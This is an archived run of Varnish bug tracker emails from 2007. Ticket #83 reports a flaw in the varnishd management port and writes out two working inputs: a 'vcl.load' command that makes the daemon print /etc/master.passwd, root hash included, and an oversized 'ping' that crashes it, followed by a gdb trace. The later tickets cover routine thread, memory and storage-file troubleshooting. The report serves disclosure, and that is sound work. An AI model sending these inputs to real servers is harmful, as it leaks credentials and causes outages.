From varnish-bugs at projects.linpro.no Fri Feb 9 06:53:52 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 09 Feb 2007 06:53:52 -0000 Subject: [Varnish] #83: varnishd dos via telnet interface + listing of root password hash Message-ID: <077.0b91cc24ecc30e05a698c872ed85605c@projects.linpro.no> #83: varnishd dos via telnet interface + listing of root password hash -------------------------------+-------------------------------------------- Reporter: kokanin at gmail.com | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: Severity: major | Keywords: -------------------------------+-------------------------------------------- pkg_info | grep -i varni varnish-1.0.2_2 The Varnish high-performance HTTP accelerator uname -r 6.1-RELEASE-p10 ./bin/varnishd/varnishd -a lort.dk:1234 -b lort.dk:80 -T lort.dk:1235 Listing of root password hash: connect to the telnet port of the varnishd and send: vcl.load blah /etc/master.passwd output: 106 189 Syntax error at In VCL code Line 3 Pos 4 root:$1$O9wJ12Nm$IK.3lrgZJNCddlzMKt0f4/:0:0::0:0:Charlie &:/root:/bin/csh crashing varnishd (DoS): ping 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 105 20 Too many parameters # nc lort.dk 1235 # ps axuww | grep varnish root 66894 0.0 0.2 1512 888 p0 S+ 12:55PM 0:00.00 grep varnish # tail -n 1 /var/log/messages Nov 9 12:55:42 lort kernel: pid 66830 (varnishd), uid 0: exited on signal 6 (core dumped) [root at lort /usr/ports/www/varnish/varnish-1.0.2]# gdb -q ./bin/varnishd/.libs/varnishd -c /varnishd.core (no debugging symbols found)...Core was generated by `varnishd'. Program terminated with signal 6, Aborted. Reading symbols from /usr/ports/www/varnish/varnish-1.0.2/lib/libvarnish/.libs/libvarnish.so.0...(no debugging symbols found)...done. Loaded symbols for /usr/ports/www/varnish/varnish-1.0.2/lib/libvarnish/.libs/libvarnish.so.0 Reading symbols from /usr/ports/www/varnish/varnish-1.0.2/lib/libvcl/.libs/libvcl.so.0...(no debugging symbols found)...done. Loaded symbols for /usr/ports/www/varnish/varnish-1.0.2/lib/libvcl/.libs/libvcl.so.0 Reading symbols from /usr/lib/libthr.so.2...(no debugging symbols found)...done. Loaded symbols for /usr/lib/libthr.so.2 Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /libexec/ld-elf.so.1...(no debugging symbols found)...done. Loaded symbols for /libexec/ld-elf.so.1 #0 0x2816d363 in kill () from /lib/libc.so.6 [New Thread 0x806f000 (LWP 100094)] (gdb) x/i $pc 0x2816d363 : jb 0x2816d348 (gdb) i r eax 0x0 0 ecx 0xbfbfe4b0 -1077943120 edx 0x1 1 ebx 0x280b829c 671842972 esp 0xbfbfe4ac 0xbfbfe4ac ebp 0xbfbfe4c8 0xbfbfe4c8 esi 0xbfbfe4e8 -1077943064 edi 0x807943b 134714427 eip 0x2816d363 0x2816d363 eflags 0x296 662 cs 0x33 51 ss 0x3b 59 ds 0x3b 59 es 0x3b 59 fs 0x3b 59 gs 0x1b 27 (gdb) bt #0 0x2816d363 in kill () from /lib/libc.so.6 #1 0x280ad2d2 in raise () from /usr/lib/libthr.so.2 #2 0x2816c014 in abort () from /lib/libc.so.6 #3 0x280988f2 in lbv_assert () from /usr/ports/www/varnish/varnish-1.0.2/lib/libvarnish/.libs/libvarnish.so.0 #4 0x0805d871 in mgt_cli_callback () #5 0x0805eb31 in ev_schedule_one () #6 0x0805ecc5 in ev_schedule () #7 0x0805ca99 in mgt_run () #8 0x08063c7e in main () (gdb) -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 9 06:58:14 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 09 Feb 2007 06:58:14 -0000 Subject: [Varnish] #83: varnishd dos via telnet interface + listing of root password hash In-Reply-To: <077.0b91cc24ecc30e05a698c872ed85605c@projects.linpro.no> References: <077.0b91cc24ecc30e05a698c872ed85605c@projects.linpro.no> Message-ID: <086.b7fa56dbc288abeb465b4db74c889f38@projects.linpro.no> #83: varnishd dos via telnet interface + listing of root password hash -------------------------------+-------------------------------------------- Reporter: kokanin at gmail.com | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: Severity: major | Resolution: Keywords: | -------------------------------+-------------------------------------------- Comment (by kokanin): the ping part is ping [9x~9000] -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Thu Feb 15 17:58:52 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Thu, 15 Feb 2007 17:58:52 -0000 Subject: [Varnish] #84: High number of "dropped work requests" Message-ID: <077.3b092db9553d8cae3fda11cee29510bd@projects.linpro.no> #84: High number of "dropped work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: high | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Keywords: ----------------------+----------------------------------------------------- I've just installed varnish on an x86 RHEL4 server (Linux 2.6.9-11.ELsmp). Here is the content of my vcl file : {{{ backend default { set backend.host = "192.168.39.234"; set backend.port = "80"; } sub vcl_recv { # pass mode can't handle POST (yet) if (req.request == "POST") { pipe; } # force lookup even when cookies are present if (req.request == "GET" && req.http.cookie) { lookup; } } sub vcl_fetch { # force minimum ttl of 180 seconds if (obj.ttl < 180s) { set obj.ttl = 180s; } } }}} Which is pretty much the default configuration with the backend changed. And here is the command line to my varnish instance : {{{ /usr/sbin/varnishd \ -a 0.0.0.0:80 \ -h classic \ -f /etc/varnish/vcl.conf \ -T 127.0.0.1:6082 \ -t 1200 \ -w 1,INF,10 \ -s file,/var/lib/varnish/varnish_storage.bin,2g }}} Again, this is using the /etc/sysconfig/varnish file and only the host/port and storage size changed. Well, testing a connection to varnish works, and I get to see the page I expect from the backend server. So far so good. But then I start sending traffic, a few Mbps, and I start getting "zero sized replies" from varnish. I see plenty of dropped requests... most of them, actually! {{{ # varnishstat -1 26833 Client connections accepted 14279 Client requests received 8459 Cache hits 25 Cache hits for pass 5795 Cache misses 5820 Backend connections initiated 5732 Backend connections recycles 0 Backend connections unused 414 N struct srcaddr 4 N active struct srcaddr 63 N struct sess_mem 13 N struct sess 5796 N struct object 5796 N struct objecthead 5795 N struct smf 0 N small free smf 2 N large free smf 1 N struct vbe_conn 1 N worker threads 1 N worker threads created 0 N worker threads not created 4718 N worker threads limited 0 N queued work requests 4719 N overflowed work requests 25406 N dropped work requests 0 N expired objects 0 N objects on deathrow 0 HTTP header overflows 1514 Objects sent with sendfile 8520 Objects sent with write 5456 Total Sessions 14279 Total Requests 0 Total pipe 27 Total pass 5793 Total fetch 3193858 Total header bytes 78784328 Total body bytes 140 Session Closed 23 Session Pipeline 5 Session Read Ahead 14146 Session herd 703381 SHM records 74684 SHM writes 15 SHM MTX contention }}} 26833 requests accepted of which 25406 dropped!!! I've tried raising the max number of open files from 1024 to 500000, and also set net.ipv4.ip_local_port_range to "1200 64000", as those a pretty standard limitations with lots of connections, but it didn't help. What could be the cause? How can I try and find more explicit error messages? varnishlog shows lost of these : {{{ 13 StatSess 0 0 0 0 0 0 0 0 13 SessionClose dropped 13 StatSess 0 0 0 0 0 0 0 0 13 SessionClose dropped 13 StatSess 0 0 0 0 0 0 0 0 13 SessionClose dropped 13 StatSess 0 0 0 0 0 0 0 0 13 SessionClose dropped }}} This is with varnish 1.0.2. -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Thu Feb 15 18:14:39 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Thu, 15 Feb 2007 18:14:39 -0000 Subject: [Varnish] #84: High number of "dropped work requests" In-Reply-To: <077.3b092db9553d8cae3fda11cee29510bd@projects.linpro.no> References: <077.3b092db9553d8cae3fda11cee29510bd@projects.linpro.no> Message-ID: <086.c2280fdfe33c1db67fe398ad61f9e91a@projects.linpro.no> #84: High number of "dropped work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: high | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by Thias): I've just seen this in current svn, which is not in 1.0.2 : {{{ # Note: The set of working threads is temporary broken in varnish-1.0.2. # This will be fixed in an upcoming release }}} And it basically removes the -w passed to varnished, which I was using through the provided init script and sysconfdir file. Could that be related? I'll be trying trunk soon anyway, just to compare. -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Thu Feb 15 18:29:44 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Thu, 15 Feb 2007 18:29:44 -0000 Subject: [Varnish] #84: High number of "dropped work requests" In-Reply-To: <077.3b092db9553d8cae3fda11cee29510bd@projects.linpro.no> References: <077.3b092db9553d8cae3fda11cee29510bd@projects.linpro.no> Message-ID: <086.13780148e7f4d4f496245484a39a4f9b@projects.linpro.no> #84: High number of "dropped work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: high | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by Thias): This seems like it was the problem, svn trunk is working much better. Serving 30Mbps right now, and not a single dropped request. {{{ 26621 Client connections accepted 192249 Client requests received 155852 Cache hitswait... 238 Cache hits for pass 36154 Cache misses [...] 120 N overflowed work requests 0 N dropped work requests 0 N expired objects }}} -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 10:50:32 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 10:50:32 -0000 Subject: [Varnish] #85: High number of "worker threads not created" and "overflowed work requests" Message-ID: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> #85: High number of "worker threads not created" and "overflowed work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Keywords: ----------------------+----------------------------------------------------- Hi, I'm using varnish svn trunk on RHEL4 x86, and after about 5 minutes of sending it quite heavy traffic, things stop working so well and web pages become slow to load... here is what varnishstat reports : {{{ 10231 72.87 25.84 Client connections accepted 64017 83.85 161.66 Client requests received 46904 76.86 118.44 Cache hits 115 0.00 0.29 Cache hits for pass 16998 6.99 42.92 Cache misses 17113 6.99 43.21 Backend connections success 0 0.00 0.00 Backend connections failures 16808 6.99 42.44 Backend connections reuses 16823 6.99 42.48 Backend connections recycles 17 0.00 0.04 Backend connections unused 1187 2.00 3.00 N struct srcaddr 220 1.00 0.56 N active struct srcaddr 811 0.00 2.05 N struct sess_mem 810 0.00 2.05 N struct sess 17087 5.99 43.15 N struct object 17086 5.99 43.15 N struct objecthead 16955 6.99 42.82 N struct smf 0 0.00 0.00 N small free smf 3 0.00 0.01 N large free smf 33 0.00 0.08 N struct vbe_conn 93 0.00 0.23 N worker threads 93 0.00 0.23 N worker threads created 17205 65.88 43.45 N worker threads not created 0 0.00 0.00 N worker threads limited 632 -17.97 1.60 N queued work requests 17298 65.88 43.68 N overflowed work requests 0 0.00 0.00 N dropped work requests 0 0.00 0.00 N expired objects 0 0.00 0.00 N objects on deathrow 0 0.00 0.00 HTTP header overflows 26223 39.93 66.22 Objects sent with sendfile 24092 23.96 60.84 Objects sent with write 9355 27.95 23.62 Total Sessions 63925 83.85 161.43 Total Requests 0 0.00 0.00 Total pipe 154 0.00 0.39 Total pass 16948 5.99 42.80 Total fetch 14946171 19597.00 37742.86 Total header bytes 1625794755 2061759.36 4105542.31 Total body bytes 1295 11.98 3.27 Session Closed 265 0.00 0.67 Session Pipeline 84 0.00 0.21 Session Read Ahead 62339 71.87 157.42 Session herd 2656226 3013.46 6707.64 SHM records 129721 282.48 327.58 SHM writes 127 1.00 0.32 SHM MTX contention }}} The "worker threads not created" and "overflowed work requests" start growing a lot when the problem appears. After switching away the traffic, but keeping varnishd running, things settle again and those values no longer grow, and things work fine again. Right now, even though things work fine (with no real/high traffic), varnishlog reports : {{{ 7 Debug "Accept failed errno=24" 7 Debug "Accept failed errno=24" 7 Debug "Accept failed errno=24" 7 Debug "Accept failed errno=24" 7 Debug "Accept failed errno=24" 7 Debug "Accept failed errno=24" 7 Debug "Accept failed errno=24" 7 Debug "Accept failed errno=24" 7 Debug "Accept failed errno=24" 7 Debug "Accept failed errno=24" 7 Debug "Accept failed errno=24" 7 Debug "Accept failed errno=24" 7 Debug "Accept failed errno=24" 7 Debug "Accept failed errno=24" 7 Debug "Accept failed errno=24" 7 Debug "Accept failed errno=24" }}} ...and so on, LOTS of those, which seem to be "too many open files". If this is the issue, could we have a varnish command line option to have it increase the maximum number of allowed open files for itself? (possible when run as root) For now, I'll add "ulimit -n 500000" to /etc/rc.d/init.d/varnish and hope it'll fix it. -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 10:52:31 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 10:52:31 -0000 Subject: [Varnish] #85: High number of "worker threads not created" and "overflowed work requests" In-Reply-To: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> References: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> Message-ID: <086.0b23f2f11fe42ef7890fad1c1bd809e8@projects.linpro.no> #85: High number of "worker threads not created" and "overflowed work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by Thias): Right now, varnishlog reports some : {{{ 0 Debug "Create worker thread failed 12 Cannot allocate memory" 0 Debug "Create worker thread failed 12 Cannot allocate memory" 0 Debug "Create worker thread failed 12 Cannot allocate memory" 0 Debug "Create worker thread failed 12 Cannot allocate memory" }}} which I have no idea how to fix. The varnishd process only uses about 300MB of RAM (RSS reported by top) and the cache file on disk is 2GB (32bit x86). -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 10:58:21 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 10:58:21 -0000 Subject: [Varnish] #85: High number of "worker threads not created" and "overflowed work requests" In-Reply-To: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> References: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> Message-ID: <086.912be89295a44120b45f7ab3f8bdf1bd@projects.linpro.no> #85: High number of "worker threads not created" and "overflowed work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by phk): If you are running in 32bit mode and using a 2GB storage file, then there is very little virtual addressing room left for varnish to operate in. It sounds to me like your system in general are not dimensioned for the load you are trying to put on it. Switching to 64bit OS on the same hardware may solve the problem. Poul-Henning -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 11:14:42 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 11:14:42 -0000 Subject: [Varnish] #85: High number of "worker threads not created" and "overflowed work requests" In-Reply-To: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> References: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> Message-ID: <086.c168260619f99b075f6f85f0485fd379@projects.linpro.no> #85: High number of "worker threads not created" and "overflowed work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by Thias): Unfortunately, this is a 32bit server, so switching to a 64bit OS isn't an option. It is a dual HT Xeon ("only" 512k cache per processor) with 2GB RAM and 10k rpm 36G SCSI disks, and outputting ~70Mbps with varnish makes the load reach about... 0.5... so it should be able to handle quite a lot more. Could varnish be easily recompiled with large file support? E.g. adding -D_FILE_OFFSET_BITS=64 to the CFLAGS? RHEL4's Linux 2.6.9 can definitely support files larger than 2GB, I've actually created a 4GB file for varnish to use, but it couldn't and said : {{{ Error: (-sfile) "/var/lib/varnish/varnish_storage.bin" does not exist and could not be created }}} See for instance : http://www.suse.de/~aj/linux_lfs.html -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 11:18:40 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 11:18:40 -0000 Subject: [Varnish] #86: Varnish requires cc at run time!? Message-ID: <077.858c6ba6bef2beaedb52db2137b9a551@projects.linpro.no> #86: Varnish requires cc at run time!? ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Keywords: ----------------------+----------------------------------------------------- When trying to run "service varnish start" on a system with no C compiler, I get this : {{{ sh: cc: command not found tee: standard output: Broken pipe tee: write error pclose=32512 Internal error: GCC returned 0x7f00 }}} Why is varnishd trying to run "cc" at runtime? This seems wrong. -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 11:22:06 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 11:22:06 -0000 Subject: [Varnish] #86: Varnish requires cc at run time!? In-Reply-To: <077.858c6ba6bef2beaedb52db2137b9a551@projects.linpro.no> References: <077.858c6ba6bef2beaedb52db2137b9a551@projects.linpro.no> Message-ID: <086.768b6cc0680dbd0353f026b4f4d8a22b@projects.linpro.no> #86: Varnish requires cc at run time!? ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: closed Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: invalid Keywords: | ----------------------+----------------------------------------------------- Changes (by phk): * status: new => closed * resolution: => invalid Comment: The VCL code is compiled to .c code by the varnish manager process and it calls on the sytems C-compiler to compile that to object code. Works as designed and intended. -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 11:23:51 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 11:23:51 -0000 Subject: [Varnish] #85: High number of "worker threads not created" and "overflowed work requests" In-Reply-To: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> References: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> Message-ID: <086.9a68d7b587bf79ba819a83c183f62293@projects.linpro.no> #85: High number of "worker threads not created" and "overflowed work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by phk): No, Varnish uses VM mapping of the storage file, so there is no way to support more than the operating systems leaves for userland processes. (between 2.5 and 3.5 GB on a 32bit system). The amount of RAM is not important in this respect. Are you sure your XEON's don't support 64bit mode ? Poul-Henning -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 11:51:06 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 11:51:06 -0000 Subject: [Varnish] #85: High number of "worker threads not created" and "overflowed work requests" In-Reply-To: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> References: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> Message-ID: <086.02c88de00b89db00d0f6d3a69b7e3670@projects.linpro.no> #85: High number of "worker threads not created" and "overflowed work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by Thias): I'm unfortunately positive that these Xeons don't support EM64T. So there will be a "low" limit size for the storage file, I'm fine with that as around 2GB should be enough for what I intend to do. But then how can I reliably run varnish? I got those "Cannot allocate memory" errors using a 2GB file. Should I use a smaller file? Shouldn't varnish handle the memory limit it hits a bit more gracefully? Thanks for all your answers! -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 11:55:23 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 11:55:23 -0000 Subject: [Varnish] #85: High number of "worker threads not created" and "overflowed work requests" In-Reply-To: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> References: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> Message-ID: <086.a5015de40f60db52321799d23d2fc517@projects.linpro.no> #85: High number of "worker threads not created" and "overflowed work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by phk): Hmm, that's too bad. Yes, the way to go is to try with a smaller storage file. Basically the storage file is mapped into virtual memory, so whatever size it has is not available for threads, libraries, and other allocated memory. This is a non-issue on 64bit machines, but on 32bit machines once you start talking gigabytes, things get tight very fast. I would probably start with .5 or 1 GB of storage and see how things develops from there. Poul-Henning -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 12:07:22 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 12:07:22 -0000 Subject: [Varnish] #85: High number of "worker threads not created" and "overflowed work requests" In-Reply-To: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> References: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> Message-ID: <086.93785f9ca91eda75fa5ecce6919b0f97@projects.linpro.no> #85: High number of "worker threads not created" and "overflowed work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by Thias): Just tried a 1GB file, and get some "Cannot allocate memory" messages after a few seconds of sending real traffic. FYI, here are the sizes "top" reports for varnishd : {{{ PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 13149 root 16 0 3042m 258m 239m S 0 12.8 0:00.00 varnishd }}} I'll try with a 512M file now... :-/ -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 12:19:45 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 12:19:45 -0000 Subject: [Varnish] #85: High number of "worker threads not created" and "overflowed work requests" In-Reply-To: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> References: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> Message-ID: <086.35909c0556ed0a1353f9079f865b121c@projects.linpro.no> #85: High number of "worker threads not created" and "overflowed work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by Thias): No luck. Even with a 512MB file, I still get the errors after a while. Now top reports : {{{ PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 14047 root 16 0 3030m 335m 308m S 0 16.6 0:00.00 varnishd }}} Seems like in all cases, the "VIRT" size manages to reach 3G (is this normal?), and things start going wrong from there on. -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 12:27:44 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 12:27:44 -0000 Subject: [Varnish] #85: High number of "worker threads not created" and "overflowed work requests" In-Reply-To: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> References: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> Message-ID: <086.428f5ec9cd83aeeddbbdde45a829246e@projects.linpro.no> #85: High number of "worker threads not created" and "overflowed work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by des): It looks to me like you're still running with a 2 GB file. Check your command-line parameters, and check what varnishd says about the storage file when it starts. -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 12:31:55 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 12:31:55 -0000 Subject: [Varnish] #85: High number of "worker threads not created" and "overflowed work requests" In-Reply-To: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> References: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> Message-ID: <086.314806b85e76242cefc7a47af27dbb3f@projects.linpro.no> #85: High number of "worker threads not created" and "overflowed work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by phk): It really depends on the traffic Varnish receives, but 3G is nothing out of the ordinary. The other side of this is that a failure to create a workerthread is not necessarily a bad thing in Varnish. The request will just be queued for when another workerthread becomes available. Check with varnishstat(1) how many threads it manages to create, and check with varnishhist(1) what your response time looks like. As long as your responsetime is fine, it doesn't matter of some requests are a bit slow. On the other hand, if you have many slow clients and large objects, you will tie up a lot of worker threads, and there is no way around it in Varnish. (... right now. I have been thinking of ways to address that, but nothing sensible has presented itself yet). If you're trying to put varnish in front of a really heavy web-service, 64 bit is probably the only way to get the necessary space for both storage and worker threads. Poul-Henning -- Ticket URL: Varnish The Varnish HTTP Accelerator From varnish-bugs at projects.linpro.no Fri Feb 16 12:43:58 2007 From: varnish-bugs at projects.linpro.no (Varnish) Date: Fri, 16 Feb 2007 12:43:58 -0000 Subject: [Varnish] #85: High number of "worker threads not created" and "overflowed work requests" In-Reply-To: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> References: <077.1a21cea4431778b5dc11622bbecd6eea@projects.linpro.no> Message-ID: <086.231f294292d1210d4f19d94b29781821@projects.linpro.no> #85: High number of "worker threads not created" and "overflowed work requests" ----------------------+----------------------------------------------------- Reporter: Thias | Owner: phk Type: defect | Status: new Priority: normal | Milestone: Component: varnishd | Version: 1.0 Severity: normal | Resolution: Keywords: | ----------------------+----------------------------------------------------- Comment (by Thias): Well, /var/log/messages seems to indicate that it's using the right file : {{{ Feb 16 13:11:30 content07 varnishd: pclose=0 Feb 16 13:11:30 content07 varnishd: file /var/lib/varnish/varnish_storage.bin size 536870912 bytes (131072 fs-blocks, 131072 pages) Feb 16 13:11:30 content07 varnishd: Using old SHMFILE Feb 16 13:11:30 content07 varnish: varnishd startup succeeded }}} This is a file I've pre-created with dd, and after 